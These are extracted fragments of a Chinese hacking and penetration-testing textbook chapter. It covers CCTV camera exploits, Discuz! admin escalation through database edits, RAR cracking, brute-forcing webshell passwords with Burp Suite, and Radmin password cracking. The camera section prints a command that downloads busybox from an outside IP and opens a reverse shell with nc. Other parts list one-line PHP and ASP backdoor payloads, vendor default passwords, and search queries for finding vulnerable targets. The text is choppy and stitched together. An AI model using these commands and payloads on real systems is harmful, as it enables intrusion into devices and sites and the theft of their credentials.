    {"text": "这些摄像头会与计算机或者摄像机等硬件设备连接，以便进行图像的存储和回访。 现在很多摄像头直接与网络连接，以方便用户通过浏览器或客户端进行连接、管理和查看。 原本使用摄像头的目的是方便查看，但由于一些厂商对安全的重视程度不够，致使黑客通过技术手段可以方便地对存在漏洞的网络摄像头进行控制，在有些情况下，还可以获取网络摄像头所在服务器的权限，甚至渗透该摄像头所在的网络，危害非常大。"},
    {"text": "7.3.1 摄像头常见漏洞分析 Andrew Tierney在其博客上公布了一篇有关摄像头漏洞利用的文章（https://www. pentestpartners.com/blog/pwning-cctv-cameras/），文章的核心内容归纳如下。 1.弱口令漏洞 多款网络摄像头都发现了弱口令漏洞，举例如下。"},
    {"text": "Mvpower 8 Channel Security DVR（国内用户称之为“CCTV网络摄像头”）：用户名为“admin”，密码为空。 海康威视IP网络摄像机：超级用户“admin”，密码“12345”。 大华网络摄像机：用户名“admin”，密码“888888”。 天地伟业网络摄像机：用户名“Admin”，密码“111111”。"},
    {"text": "2.登录密码绕过漏洞 对之前使用默认密码成功登录的页面进行抓包，找到处理页面登录逻辑的JS代码。 对处理页面登录的逻辑进行分析，发现存在登录绕过漏洞，代码如下。 $(document).ready(function(){ dvr_camcnt = Cookies.get(\"dvr_camcnt\"); iSetAble = Cookies.get(\"iSetAble\"); iPlayBack = Cookies.get(\"iPlayBack\"); dvr_usr = Cookies.get(\"dvr_usr\"); dvr_pwd = Cookies.get(\"dvr_pwd\"); if(iSetAble == '0'){ $('#pb_settings').css('display','none'); } if(iPlayBack == '0'){ $('#pb_review').css('display','none'); } if(dvr_camcnt == null || dvr_usr == null || dvr_pwd == null) { location.href = \"/index.html\"; } 系统管理页面直接通过JS程序检查cookie是否为空来判断用户是否已经登录——现在竟然还有程序员这样编写判断登录状态的代码，安全性实在太低了。"},
    {"text": "通过代码可以看出，需要伪造3个cookie值，分别是dvr_camcnt、dvr_usr=admin和dvr_pwd=123。 直接打开http://xx.xx.xx.xx/view2.html页面并抓包，发现系统会自动设置该cookie参数的值。"},
    {"text": "图7-13 密码绕过漏洞 3.直接获取WebShell及其root密码 直接访问页面http://www.antian365.com/shell?cat/etc/passwd，即可获取服务器root账号的密码，如图7-14所示。"},
    {"text": "cd /root/rec/a1 &amp;&amp; wget http://212.111.43.161/busybox &amp;&amp;chmod +x busybox&amp;&amp; ./busybox nc 122.115.47.39 8000 -e /bin/sh -e /bin/sh 还可以执行命令“http://www.antian365.com/shell?/usr/sbin/telnetd -l/bin/sh -p 25”，通过远程登录目标IP地址的方法直接进入系统。"},
    {"text": "7.3.2 实战演练 通过7.3.1节的漏洞分析，我们可以对存在漏洞的网络摄像头进行实际漏洞测试，以验证漏洞的真实性，并掌握漏洞的利用方法。"},
    {"text": "1.确定网络摄像头的关键字 在Kali Linux中打开banner-grab，填写设备的IP地址和Web端口号，抓取结果如图7-15所示，其中关键字为“Server”后的字符串“JAWS”。"},
    {"text": "图7-15 获取关键字 2.快速获取存在的目标服务器 可以使用ZoomEye进行检索，输入地址“https://www.zoomeye.org/search?q=JAWS”直接进行查询。"},
    {"text": "图7-17 获得访问权限 4.直接获取访问密码 使用命令“shell?cat%20/tmp/usrm.ini”可以直接获取访问密码。 访问http:// 210.21.34.206/shell?cat%20/tmp/usrm.ini，可以知道默认管理员密码为空，如图7-18所示。 将默认密码进行修改，然后重新访问，其密码已经被明文写入/tmp/usrm.ini文件，如图7-19所示。"},
    {"text": "图7-18 直接获取管理员密码 图7-19 修改后的密码以明文保存 5.获取无线网络的密码 在该网络摄像头的“设置”页面可以直接获取其无线AP的名称及密码，如图7-20所示。"},
    {"text": "参考文章 http://www.freebuf.com/tools/5950.html http://www.ijiandao.com/safe/cto/5450.html http://www.myhack58.com/Article/html/3/8/2015/64210.htm http://hb.ifeng.com/3c/detail_2014_04/04/2083399_0.shtml http://security.zol.com.cn/443/4439365_all.html http://bobao.360.cn/news/detail/1388.html http://www.myhack58.com/Article/html/2/5/2015/58087.htm http://drops.wooyun.org/category/papers"},
    {"text": "未知 7.4 Discuz! 管理员复制提权技术 使用Discuz! 建设论坛方便、快捷，不仅能够满足功能需求，而且安全性在同类软件中是最高的，因此深受广大用户的喜爱。"},
    {"text": "在得到WebShell的情况下，通过本节讨论的技术可以很容易地进行查看管理员信息、修改论坛设置、备份数据库等操作，还可以让普通用户获得管理员权限。"},
    {"text": "数据库：MySQL 5.1 MySQL数据库客户端管理软件：MySQL-Front Discuz! 7.0（下载地址：http://download.comsenz.com/Discuz） 7.4.1 Discuz! 论坛的加密方式 Discuz! 6.X及之后的Discuz! 7.0都采用MD5多重加密，其加密函数有checkmd5和authcode。"},
    {"text": "function checkmd5($md5, $verified, $salt = '') { if(md5($md5.$salt) == $verified) { $result = !empty($salt) ? 1 : 2; } elseif(empty($salt)) { $result = $md5 == $verified ? 3 : ((strlen($verified) == 16 &amp;&amp; substr($md5, 8, 16) == $verified) ? 4 : 0); } else { $result = 0; } return $result; } 以上代码主要度对密码进行检测，有3个参数，分别是“@param string $md5”、“@param string $verified”、“@param string $salt”。"},
    {"text": "function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : $GLOBALS['discuz_auth_key']); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr (md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) &amp;&amp; substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } } 以上代码主要用来加密或者解密用户信息，其参数的意义如下。"},
    {"text": "7.4.2 使用MySQL-Front管理MySQL数据库 下面讨论使用MySQL-Front管理MySQL数据库的相关内容。 1.设置MySQL-Front MySQL-Front是一款MySQL客户端管理软件，可以对MySQL数据库实现图形界面管理，软件下载地址为http://www.mysqlfront.de/download.html。 安装MySQL-Front后直接运行，如图7-21所示。"},
    {"text": "2.连接MySQL数据库 在“打开登录信息”窗口选择刚才设置的MySQL数据并打开，如图7-22所示，在MySQL-Front中常用的4个按钮为“对象浏览器”、“数据浏览器”、“SQL编辑器”和“图表”。"},
    {"text": "“对象浏览器”按钮主要用来浏览有哪些表，“数据浏览器”按钮主要用来查看选中数据库的表中的数据，“SQL编辑器”按钮主要用来执行SQL语句，“图表”按钮主要用来与“对象浏览器”按钮进行切换。"},
    {"text": "如图7-24所示，在本例中为“antian_ members”，该表中保存的是用户注册的信息，单击“数据浏览器”按钮，可以看到该用户的一些详细注册信息。 图7-24 查看选定用户的详细注册信息 3.修改普通用户为管理员用户 在antian_members表中将用户“cxb”的“adminid”值由“0”修改为“1”，将“groupid”的值由“12”修改为“1”，然后单击发布按钮使修改生效，至此已经将普通用户“cxb”变成管理员用户。 在登录的网页中刷新一下，再次查看用户个人信息，如图7-25所示，用户“cxb”的用户组已经升级为“Administrator”，可以行使管理员权限了。"},
    {"text": "图7-25 普通用户已经升级为管理员 7.4.4 管理员密码丢失解决方案 如果管理员将密码丢失，会造成很多严重的问题，下面给出管理员密码丢失的解决方案。"},
    {"text": "1.修改管理员密码为已知用户密码 使用MySQL-Front打开myuc_members表后，单击工具条下面的“数据浏览器”按钮，查看myuc_members表中的数据，如图7-26所示，先将用户“admin”的“password”值复制到本地进行备份，以备出现错误后进行恢复。"},
    {"text": "图7-26 修改管理员密码为已知用户密码 2.修改salt 在Discuz! 论坛中，用户的密码不是普通的加密，而是经过变异的加密，因此还需要保证管理员的密码与已知用户的salt一致。"},
    {"text": "一共有7个安全提问，用户注册成功后可以在个人中心的“密码和安全问题”中进行设置，每一个安全提问根据答案生成一串8位的加密字符串，密码不同，安全字符串也不同。"},
    {"text": "因此，如果要让管理员用户使用普通用户的安全提问，则需要将管理员的“secques”设置成普通用户的“secques”，反之，则需要将普通用户的“secques”设置成管理员的“secques”。 如图7-29所示，将已知用户的“secques”替换管理员的“secques”，然后使用普通用户的安全提问代替管理员的安全提问进行登录。 图7-28 安全提问 图7-29 修改安全提问secques值 至此，有关Discuz! 论坛管理员与普通用户之间的身份转换已经完成，使用修改后的密码和问题答案即可登录。 登录后，用户身份为管理员，如图7-30所示，可以对论坛系统进行管理。 图7-30 登录后台进行管理 7.4.5 小结与探讨 本节探讨了Discuz!论坛的加密方法，通过实际案例讲解了如何通过操作MySQL数据库来更改用户身份，即通过修改普通用户的adminid、groupid、secques和password的值，可以使“普通用户”变成“管理员”，行使管理员权限。"},
    {"text": "同时，该方法也适用于管理员丢失或者忘记了管理密码的情况。 通过该方法可以重新设置密码，并行使管理员权限。 写完本节内容后，笔者又发现该管理员密码可以直接使用PasswordPro进行破解，由于篇幅关系就不在本节进行探讨了。"},
    {"text": "关于Discuz!论坛的安全问题还有很多话题，如通过脚本来嗅探或者记录用户名和密码。 在Discuz!论坛数据库中，用户密码字段生成的是密文，网上也有一些脚本可以直接用来记录用户的登录密码。"},
    {"text": "未知 7.5 RAR加密文件的破解 安全意识比较强的人一般都会对文件进行加密，如使用RAR自带的加密功能进行加密。当然，网上也有很多提供资料下载的网站，这些网站中绝大部分文件都是采用RAR加密的方式来保护资料不被未授权人查看的，要想看资料，必须付费获取RAR加密文件的密码。加密不是绝对的，虽然没有什么好的技巧来破解RAR加密文件，但是可以通过字典文件、暴力破解及掩码等方式对RAR加密文件进行破解。网上有很多破解RAR加密文件的软件，笔者感觉最好用的还是Advanced RAR Password Recovery，该软件运行速度快，设置简单。 7.5.1 设置Advanced RAR Password Recovery Advanced RAR Password Recovery（ARPR）是Elcomsoft公司（http://www. elcomsoft.com/）研发的一款破解由WinRAR生成的RAR压缩文件密码的软件，最新版本为3.01。ARPR可以估算破解密码所需要的时间，还可以中断计算和恢复前次计算，其注册版可以解开长达128位的密码，支持可定制的暴力破解及字典破解等。 本案例中使用的是ARPR 1.11汉化版，因此直接运行主程序即可。在主界面中对ARPR进行设置，如图7-31所示，在“优先级选项”设置区选中“后台”单选按钮，并勾选“运行记录到arpr.log”复选框，然后单击“注册”按钮，输入汉化作者提供的注册码进行注册，最后在“语言”下拉列表中选择“简体中文”选项。 图7-31 设置ARPR 1.11 说明 在ARPR 1.11中设置自动保存破解结果，如图7-32所示，选中“保存项目”复选框，并设置自动保存时间，然后设置一个自动保存的目录。 图7-32 自动保存破解结果 7.5.2 使用字典文件进行破解 切换到“选项”标签页，在“攻击类型”设置区选中“字典文件”单选按钮。单击“字典文件”选项卡，选择字典文件，然后单击“开始”按钮进行破解，如图 7-33所示。 图7-33 使用字典文件进行破解 说明 （1）ARPR 1.11只能破解WinRAR 3.5及以下版本的文件。要想破解WinRAR 3.5以上版本的文件，需要使用ARPR 3.0。 （2）使用字典文件进行破解是最快捷的方式，可以知道破解大概需要的时间。 图7-34 破解结果 ARPR 1.11破解结束后会给出一个“找不到密码”的提示，在该提示中会显示“密码总计”、“时间总计”、“平均速度”等信息，如图7-34所示。 说明 ARPR破解RAR文件的密码时，会生成一个破解日志记录。直接访问ARPR 1.11的目录，打开日志文件arpr.log，如图7-35所示，即可查看破解记录。 图7-35 查看破解日志 7.5.3 使用暴力破解方式破解密码 在很多情况下，通过字典文件无法成功破解，这时就需要进行暴力破解。如图7-36所示，在“攻击类型”设置区选中“暴力攻击”单选按钮，在“长度”标签页分别设置最小密码长度为“1”，最大密码长度为“9”，然后单击“开始”按钮进行破解。 图7-36 使用暴力破解方式进行破解 说明 ARPR可以在命令行模式进行破解。命令“arpr.exe /a:b /c:cs /min:2 /max:5 /smartexit test.rar”表示暴力破解test.rar文件，最小密码长度为2，最大密码长度为5，破解完成后保存结果并退出。关于RAR命令行破解参数，读者可以自行参考该软件的帮助文件。 7.5.4 小结 本案例介绍了如何使用字典文件和暴力两种方式来破解RAR加密文件。ARPR可以在DOS下进行破解并保存结果，这在网络攻防过程中提供了很大的发挥空间。如果遇到难以破解的RAR加密文件，则可以分段在肉机上进行破解。"},
    {"text": "未知 7.6 一句话密码破解获取某网站WebShell 一句话后门是Web渗透中用得最多的必备工具，目前流行的一句话后门有ASP、ASP.NET、JSP和PHP 4种类型。 一句话后门利用的实质就是通过执行SQL语句、添加或者更改字段内容等操作，在数据库表或者相应字段插入“>%execute request(\"pass\")%<”、“>%evalrequest (\"pass\")%<”、“>?php eval($_POST[pass])?<”、“>?php@eval($_POST[pass])?<”、“>%@ PageLanguage=\"Jscript\"%<”、“>%eval(Request.Item[\"pass\"],\"unsafe\");%<”等代码，然后通过“中国菜刀”、Lake一句话后门客户端等工具进行连接。只需要知道上述代码插入的具体文件及连接密码，即可进行一些WebShell的操作，是基于B/S结构的架构。一句话后门是黑客入侵成功的标志和常用后门，在渗透过程中，如果发现一句话后门，就可以通过对一句话后门进行破解，从而获得网站的权限。 7.6.1 获取后台权限 对某网站进行安全检测。通过WVS等扫描工具对目标站点进行扫描，没有发现可以利用的明显漏洞，通过社工猜测出网站管理员admin的密码，如图7-37所示，成功进入后台。 图7-37 登录WordPress后台 7.6.2 尝试提权 获取管理员权限后，通过查看和编辑页面内容，在页面内容中插入一句话后门代码，如图7-38所示，无法保存修改后的文件，该文件及文件夹无写权限。 图7-38 尝试向网站写入文件 在上传图像模块选择图像文件进行上传，如图7-39所示，无法上传文件。与前面一样，文件夹设置了权限，看来WordPress的常见提权方法是行不通的。 图7-39 无法上传文件 7.6.3 列目录及文件漏洞 该目标站点还存在列目录及文件漏洞，如图7-40所示，可以查看图像文件等。在“images”文件夹下发现gif.php文件，因为该文件可以通过浏览器访问，大小为27字节，所以该文件为一句话后门的可能性极高。 图7-40 列目录及文件漏洞 7.6.4 一句话密码破解 打开ASP PHP ASPX一句话密码暴力猜解工具，如图7-41所示，在“地址”文本框中输入目标网站地址，发现的一句话后门文件的地址为“http://www.somesite.com/ images/gif.php”。选择全部字符，设置位数为“3”，脚本为“php”，单击“破解”按钮，开始对一句话后门进行破解。 图7-41 对一句话后门密码进行破解 7.6.5 获取目标WebShell权限 在“中国菜刀”中新增一个后门记录，输入地址和密码，如图7-42所示，成功获取目标站点的权限。 图7-42 获取目标WebShell的权限 7.6.6 小结 通过本次渗透，我们熟悉和掌握了WordPress管理员提权的方法。在获取管理员权限后，可以通过修改页面文件插入一句话后门直接获取WebShell，还可以直接上传后门文件获取WebShell。 在权限设置严格的情况下，可以通过其他漏洞获取权限，如文件名称和目录信息泄露等。在本例中，找到早期入侵者留下的Shell，通过破解一句话后门成功获取网站权限。"},
    {"text": "未知 7.7 使用Burp Suite破解WebShell密码 Burp Suite是用于攻击Web应用程序的集成平台，其中包含许多工具，并为这些工具设计了许多接口，以加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP消息、持久性、认证、代理、日志、警报的强大的、可扩展的框架。Burp Suite的运行需要Java环境的支持。 7.7.1 应用场景 在渗透测试过程中，目标如果被黑客入侵过，在扫描过程中会发现入侵者留下的WebShell等，但WebShell一般都有密码，如图7-43所示。如果能够获取其密码，就能顺利进入目标系统。WebShell有一句话型的，也有大马型的，本例中为大马。 图7-43 WebShell大马 7.7.2 安装与设置 Proxy（代理）是拦截HTTP/S的代理服务器，可作为浏览器和目标应用程序的中间人，允许使用者拦截、查看、修改两个方向上的原始数据流。 01 设置代理服务器 确认安装了Java环境后，打开浏览器进行设置。对IE浏览器，如图7-44所示，依次单击“设置”→“Internet选项”→“连接”→“局域网设置”→“代理服务器”选项，设置地址为127.0.0.1，端口为8080。对Chrome浏览器，则依次单击“设置”→“高级设置”→“网络”→“更改代理服务器设置”选项进行设置。 02 查看Burp Suite代理状态 运行Burp Suite，依次单击“Proxy”→“Options”选项，如图7-45所示，代理端口是8080，状态为正在运行。为浏览器设置代理后，就可以成功抓取浏览器数据了。 图7-44 设置IE浏览器 图7-45 查看Burp Suite的设置状态 03 拦截设置 在“Proxy”标签页单击“Intercept”标签，然后单击“Intercept is on”按钮，开始进行拦截，如图7-46所示。此时，“Intercept is on”按钮会变成“Intercept is off”按钮，单击“Intercept is off”按钮表示关闭拦截。单击“Forward”按钮表示放行，单击“Drop”按钮表示丢弃。 图7-46 拦截设置 7.7.3 破解WebShell的密码 接下来就可以破解WebShell的密码了。 01 抓取密码信息 打开目标WebShell的地址http://127.0.0.1/90sec.php，先随意输入一个密码，提交后在Burp Suite中单击“Forward”按钮对拦截进行放行。Burp Suite抓到了两个数据包，第一个是浏览器访问Shell所发出的GET请求包，第二个是输入密码之后发送的POST请求包。选中“Method”列为“POST”的记录，单击鼠标右键，在弹出的快捷菜单中选择“Send to Intruder”选项，把第二个POST请求包发送到“Intruder”（入侵者）标签页进行破解，如图7-47所示。 图7-47 将包发送到Intruder标签页 02 设置密码参数 在“Positions”标签页设置“Attack Type”（功能类型）为默认值“Sniper”，选中Cookie，单击“clear$”按钮，去掉其中的“$”符号，然后单击“Add$”按钮，增加破解密码的参数，如图7-48所示。需要将密码前面的值去掉，同时清除Cookie内容“ASPSESSIONIDCATBRDTD =EMPJNHNALLEHBHIKGGFGENCM”后面的“$”符号。 图7-48 设置破解密码的参数 03 设置破解密码字典 单击“Payloads”标签页，这里有密码字典的一些配置项。单击“Clear”按钮清除之前的密码字典设置，然后单击“Load…”按钮，从文件导入密码。如图7-49所示，已经导入了密码字典。 图7-49 设置密码字典 04 设置密码，提交错误过滤信息 单击“Options”标签页，该页主要设置错误信息的过滤规则，也就是说，如果是错误结果的则继续进行破解。这里需要针对不同的情况进行设置。如图7-50所示，单击“Clear”按钮清除默认设置。 图7-50 设置过滤信息 在WebShell地址中输入任意密码，如图7-51所示，获取信息错误的反馈页面，并获取错误关键字“密码错误不能登录！”。 图7-51 获取错误关键字 在“Add”按钮后的文本框中输入关键字并单击该按钮，如图7-52所示，密码暴力破解设置完成。 图7-52 添加过滤关键字 05 破解WebShell密码 依次单击“Intruder”→“Start Attack”选项开始进行攻击测试，在攻击响应页面中可以看到前面所设置的密码发送的每一个请求，在“Status”列会返回状态代码。如图7-53所示，密码“00sujung”即为WebShell密码。 图7-53 成功破解WebShell密码 状态反馈代码的具体含义如下。 200：返回正常，即服务器接受了我们的请求并返回响应结果，通常说明这个页面是存在的，发送的请求是被允许的。 302：返回错误，即服务器接受了我们的请求，但是需要更多操作来获取返回结果。例如，跳转到新的页面时，因为我们都知道Shell密码输入后会跳转到响应的功能页面，所以就会产生这样的错误。 06 成功获取WebShell 在WebShell密码框中输入刚才破解出来的密码“00sujung”，成功登录WebShell，如图7-54所示，成功破解WebShell密码。 图7-54 成功获取WebShell"},
    {"text": "在Radmin 3.0以前的版本中，杀毒软件都不对其进行查杀，后期，由于黑客和病毒大量使用R_server作为媒介，因此将R_server作为安全威胁处理。 目前，一些以主动防御为主的杀毒软件及防火墙会主动将R_server列入黑名单。"},
    {"text": "7.8.1 Radmin简介 “Radmin”是“Remote Administrator”的简称，其官方网站（http://www.radmin.com）的解释为“PC Remote Control Software and Remote Access Software”（PC远程控制和远程访问软件）。 Radmin是一款屡获殊荣的远程控制软件，目前新版本为3.4，它将远程控制、外包服务组件及网络监控整合到一个系统里，提供目前为止最快速、最强健且最安全的工具包。 1.主要特点 （1）最高工作速度 Radmin是目前速度最快的远程控制软件，其Direct Screen Transfer?技术采用了视频挂钩内核模式驱动程序，将捕捉率提高到每秒数百次屏幕更新。"},
    {"text": "（2）最高安全级别 Radmin以加密模式工作，为所有连接到远程计算机的数据、屏幕图像、鼠标移动和键盘信号采用随机生成的密钥256位AES强加密，而且可以使用Windows Security或Radmin Security。"},
    {"text": "Windows安全性支持对特定用户使用不同的权限，或者对主域、可信域和活动目录的用户组使用不同的权限，支持自动使用登录用户凭证和Kerberos验证。"},
    {"text": "（3）硬件支持英特尔 ® AMT新产品远程控制 Radmin 3.4支持英特尔 ® AMT（主动管理技术），它允许进行远程计算机控制（即使是关闭或无法启动操作系统）。"},
    {"text": "可以使用Radmin浏览器打开、重新启动和关闭远程计算机。 Radmin还能使用户查看和修改远程计算机的BIOS设置，并从本地CD或磁盘映像文件启动远程计算机。"},
    {"text": "（4）全面兼容Windows 7新功能 Radmin 3.4完全支持Windows 7 32位和64位操作系统，包括用户账户控制和快速用户切换。 Radmin 3.4的服务端支持Windows 7/Vista/XP/2008/2003/2000（32位）和Windows 7/Vista/XP/2008/2003（64位）操作系统。 Radmin 3.4的浏览器端支持Windows 7/Vista/XP/2008/2003/2000/Me/98/95/NT4.0（32位）和Windows 7/Vista/XP/2008/2003（64位）操作系统。 （5）操作简单，支持多连接 Radmin支持被控端以服务的方式运行，支持多个连接和IP地址过滤（即允许特定的IP地址控制远程机器）、个性化的文档互传、远程关机，支持高分辨率模式、基于Windows NT的安全支持和密码保护，以及提供日志文件等。 Radmin目前支持TCP/IP协议，应用十分广泛。"},
    {"text": "2.软件组成 Radmin分为服务端（Radmin Server）和浏览器端（Radmin Viewer）两个部分，在早期版本中，这两个部分是集成在一起的，在Radmin 3.0以后就将其分开了。 浏览器端即Radmin.exe，服务端即早期的R_server.exe。"},
    {"text": "服务端主程序由“R_server.exe”更名为“rserver3.exe”，其安装文件路径由“C:\\Program Files\\Radmin”变为“C:\\ WINDOWS\\system32\\rserver30”，共有25个主要程序文件。"},
    {"text": "2.服务端详细设置 01 设置主窗口 依次单击“开始”→“程序”→“Radmin Server 3”→“Setting For Radmin Server”选项，进入Radmin Server设置窗口，如图7-55所示。"},
    {"text": "图7-55 Radmin Server设置窗口 02 输入注册码 在设置窗口中单击“Enter license”按钮，在弹出的“License Code”对话框中输入注册码，否则在30天试用期结束后，客户端将无法连接服务端，需要输入正确的注册码后才能使用，如图7-56所示。 03 设置Radmin Server选项 在设置窗口中单击“Options…”按钮，会打开一个选项设置窗口，如图7-57所示。"},
    {"text": "在该窗口中，有“General”（普通）、“Miscellaneous”、“IP Filter”（IP地址过滤）、“Language”（语言）、“Chat Options”（聊天选项）和“ Voice Chat Options”（语音聊天选项）六大功能。"},
    {"text": "图7-56 输入注册码 图7-57 选项设置窗口 （1）普通设置 在普通设置中，有“Port”（端口）、“Tray icon”（托盘图标）、“Incoming connection dialog”（连接对话框）和“Logging”（日志）四大选项。"},
    {"text": "Radmin Server的默认端口为“4899”，如果需要更改该端口为自定义的未使用端口，可以取消勾选“Use default port”，同时在下面的输入框中输入自定义的端口号。"},
    {"text": "“Incoming connection dialog”选项主要用于设置用户访问许可，有两种方式供用户选择，一种是访问超时后自动拒绝访问，另一种是超时后自动允许访问，默认为第一种方式。"},
    {"text": "在默认情况下，日志记录文件为C:\\WINDOWS\\ system32\\rserver30\\Radm_log.htm，用户可以根据实际情况重新设定记录日志文件的位置及名称。 日志设置完毕，客户端连接或者服务端启动等信息都会详细记录在Radm_log.htm文件中。"},
    {"text": "图7-58 日志详细记录 （2）“Miscellaneous”设置 “Miscellaneous”设置非常有用，如图7-59所示，需要禁用哪个功能，就选中该功能前的复选框即可。"},
    {"text": "Disable Remote Screen Control：禁用远程屏幕控制功能，即禁用完全控制功能。 Disable Remote Screen View：禁用远程屏幕浏览功能。 Disable File Transfer：禁用文件传输功能。 Disable Telnet：禁用Telnet功能。 Disable Redirect：禁用重定向功能。"},
    {"text": "Disable Shutdown：禁用关闭计算机功能。 Disable Text Chat：禁用文本聊天功能。 Disable Audio Chat：禁用语音聊天功能。 Disable Send Message：禁用发送消息功能。"},
    {"text": "如图7-60所示，在“IP Filter”设置中勾选“Enable IP Filter”复选框，接着单击“Add”按钮，添加允许的IP地址或者IP地址范围。 对于已经添加的IP地址或者范围，如果不再使用或者不再允许访问，只要选中后单击“Remove”按钮将其移除即可。"},
    {"text": "图7-59 Miscellaneous设置 图7-60 设置IP过滤 （4）语言设置 尽管Radmin官方声称支持多种语言，但实际测试中发现并非如此，也许是因为缺少相应的语言文件吧。"},
    {"text": "如图7-61所示，如果使用聊天功能，则可以设置服务端聊天显示的昵称，在“Nick name”文本框中输入昵称即可，默认昵称是“user”，在“User information”文本框中可以填写简单的用户介绍。"},
    {"text": "在Radmin中，还可以对聊天界面的外观进行设置，如图7-62所示，可以设置聊天文字样式等。 图7-61 聊天设置 图7-62 设置聊天外观 在“Additional”（附加）选项中，可以设置是否显示自己的昵称、每一条消息发送的时间戳，是否对聊天发起方连接及断开的确认，是否允许使用特殊的命令，以及是否记录聊天日志等，如图7-63所示。 （6）语音聊天设置 语音聊天设置与聊天设置类似，如图7-64所示，唯一不同的是需要设置声卡设备。 图7-63 聊天附加选项设置 图7-64 语音聊天设置 04 安全许可设置 Radmin中的“Permissions”是最重要的设置之一。"},
    {"text": "如图7-66所示，单击“Add User”按钮添加一个用户后，再进行详细设置。 如果是完全访问，则勾选“All Access”复选框即可，否则应根据实际需要进行选择。"},
    {"text": "（2）“Windows NT Security”安全模式 图7-67 Windows NT Security设置 选择“Windows NT Security”设置后，将按照Windows用户域模式进行安全管理。 如图7-67所示，单击“添加”按钮，从Windows用户管理器中添加一个用户，然后在“Administrators的权限”设置区中进行设置。 使用“Windows NT Security”安全模式时，结合Windows文件权限管理进行更加细致的设置，即可以授予用户特别的权限。"},
    {"text": "7.8.3 Radmin的使用 打开“Radmin Viewer”窗口，如图7-68所示，该界面是Radmin客户端管理主界面，对Radmin服务端的所有操作都能在这个界面中完成。 “Radmin Viewer”窗口有一个英文菜单和工具栏，工具栏中各按钮的功能依次为连接一个地址、新建一个连接、删除连接地址、查看地址属性、屏幕完全控制、屏幕浏览、Telnet、文件传输、关闭计算机、聊天、语音聊天、发送消息、选择图标浏览方式、以文件夹方式浏览、查看在线计算机。 在Radmin Viewer中是通过IP地址来进行管理的。 1.新建连接 在“Radmin Viewer”窗口依次单击“Connection”→“New Connection”选项，或者在工具栏中单击第二个图标，即可在Radmin客户端中打开新建连接窗口。 如图7-69所示，在“IP address or DNS”文本框中输入IP地址或者DNS地址，“Name of entry”文本框中显示的是在“Radmin Viewer”窗口中显示的名称，如果是新建连接，不需要输入该名称，默认是IP地址的名称。"},
    {"text": "设置完成后，就会在Radmin客户端中以IP地址进行显示。 图7-68 Radmin客户端管理主界面 图7-69 新建一个连接 2.Telnet连接服务端 在Radmin客户端管理界面中，选中刚才新建的IP地址192.168.209.130，然后单击右键，在弹出的快捷菜单中选择“Telnet”选项。"},
    {"text": "图7-72 使用Telnet 3.文件传输 文件传输，顾名思义，就是文件的上传与下载。 Radmin文件传输的使用方式与Telnet方式类似，打开后的初始界面如图7-73所示，单击其中的盘符即可像在资源管理器中一样浏览文件，文件传输的目的地必须是具体的磁盘。"},
    {"text": "图7-73 文件传输 4.远程屏幕监控 远程屏幕监控，换句话说就是完全控制服务端计算机。 单击工具栏上的第五个图标，或者依次单击“Mode”→“Full Control”选项，即可使用远程屏幕监控。"},
    {"text": "当使用屏幕控制后，在Radmin主窗口中即可对服务端（被控制计算机）进行各种操作，就像在本地操作计算机一样。 图7-74 远程屏幕监控 5.聊天与发送短消息 相对Radmin强大的控制功能来说，其聊天与发送短消息功能就像是赠品，方便管理员进行管理与交流。"},
    {"text": "图7-75 通过Radmin聊天 图7-76 发送和接收短消息 6.Intel AMT技术 Radmin 3.2及后续版本提供了Intel AMT技术，声称可以实现冷启动、BIOS远程控制和网络启动。"},
    {"text": "1.Radmin破解文件分析 我们一起分析一下Radmin破解文件。 （1）文件组成 图7-78 Radmin破解程序密码字典 该暴力破解软件共有4个文件，分别是password.txt、radmin.exe、radmin.nfo、radmincracker.exe。 password.txt为密码字典文件，该文件可以手动修改，每个密码为单独一行，使用“记事本”程序打开后，如图7-78所示，其中包含5个密码，第一个密码为空，后面的密码依次是“radmin”、“password”、“letmein”和“admin”，该密码文件即Radmin服务端的连接密码。"},
    {"text": "（2）Radmin口令破解命令格式 使用UltraEdit软件直接编辑radmincracker.exe，使用二进制格式查看，radmincracker.exe的命令格式为“radmincracker.exe ip ip ip”，如图7-79所示。 在DOS提示符下输入“radmincracker.exe”并运行，也会提示其命令格式。 图7-79 获取Radmin破解程序的具体运行命令 （3）测试环境的搭建 在虚拟机中建立两个Windows XP操作系统（A系统和B系统），在A系统中安装Radmin 2.2，在B系统中将Radmin口令破解软件放到“Tools”文件夹下。"},
    {"text": "将sfind.exe复制到B系统中，使用“sfind -p 192.168.209.130”语句查看A系统中对外端口的开放情况，如果结果中未看到4899端口开放，可能有两个原因：一是被防火墙拦截；"},
    {"text": "可以关闭Windows防火墙或者在防火墙例外列表中添加4899端口为允许端口，然后重启A系统或者在命令提示符下使用“net start r_server”命令启动Radmin服务端。"},
    {"text": "在DOS提示符下会给出IP地址和密码的列表，当找到匹配的密码后会给出结果，在本例中显示的结果为“192.168.209.130: password successfully opened”。"},
